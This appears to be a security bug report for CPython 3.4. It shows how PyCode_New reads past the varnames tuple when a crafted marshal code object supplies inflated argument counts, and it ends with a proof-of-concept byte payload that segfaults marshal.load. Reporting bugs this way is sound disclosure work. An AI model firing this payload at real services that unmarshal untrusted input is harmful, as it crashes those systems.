`PyCode_New` can read invalid heap memory.


File Objects/codeobject.c:

    PyCodeObject *
    PyCode_New(int argcount, int kwonlyargcount,
               int nlocals, int stacksize, int flags,
               PyObject *code, PyObject *consts, PyObject *names,
               PyObject *varnames, PyObject *freevars, PyObject *cellvars,
               PyObject *filename, PyObject *name, int firstlineno,
               PyObject *lnotab)
    {
        PyCodeObject *co;
        unsigned char *cell2arg = NULL;
        Py_ssize_t i, n_cellvars;

        // ...
    
        n_cellvars = PyTuple_GET_SIZE(cellvars);

        // ...

        /* Create mapping between cells and arguments if needed. */
        if (n_cellvars) {
            Py_ssize_t total_args = argcount + kwonlyargcount +
                ((flags & CO_VARARGS) != 0) + ((flags & CO_VARKEYWORDS) != 0); // *** 1 ***

            // ...

            /* Find cells which are also arguments. */
            for (i = 0; i < n_cellvars; i++) {
                Py_ssize_t j;
                PyObject *cell = PyTuple_GET_ITEM(cellvars, i); 
                for (j = 0; j < total_args; j++) {
                    PyObject *arg = PyTuple_GET_ITEM(varnames, j);             // *** 2 ***
                    if (!PyUnicode_Compare(cell, arg)) {                       // *** 3 ***
                        cell2arg[i] = j;
                        used_cell2arg = 1;
                        break;
                    }   
                }   
            }
            
            // ...
        }

        // ...
    }

1. `total_args` is determined from parameters that are user-controlled
   (see `r_object` in `Python/marshal.c`, in the `TYPE_CODE` case,
   lines 1265--1277).
2. the `varnames` tuple is indexed with a value in the range [0, total_args),
   which could be larger than the range of valid indexes for `varnames`.
3. `arg` is now a bogus PyObject value, and causes a segfault in
   `PyUnicode_Compare`.


Environment:

    $ python3.4 --version
    Python 3.4.2

    $ uname -a
    Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux


POC:

    from marshal import load
    from io import BytesIO

    payload = b'\xe3\x01\x00\xff\x00\x00\x00\x00\xfc\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00k\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x01\xda|x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00|\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tesTgases.py\xda\x08<lambda>\x01\x00\x00\x00s\x00\x00\x00\x00r\x03\x00\x00\x00\xfa\x0fmk_testck_te\x00)\x01\xda\x01x\xa9x\xa9\x00\xe3\x01\x00\x00\x00\x00\x00\x80\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\n\x00\x00\x00t\x00\x00"\x00\x00\x83\x01\x00S)\x01N)\x01\xda\x03foo)\x01\xda\x01x\xa9\x00r\x03\x00\x00\x00\xfa\x0fmk_tMstgases\x11py\xda\x08<lambda>$\x00\x00\x12s\x00\x00\x00\x00r\x03\x00'
    load(BytesIO(payload))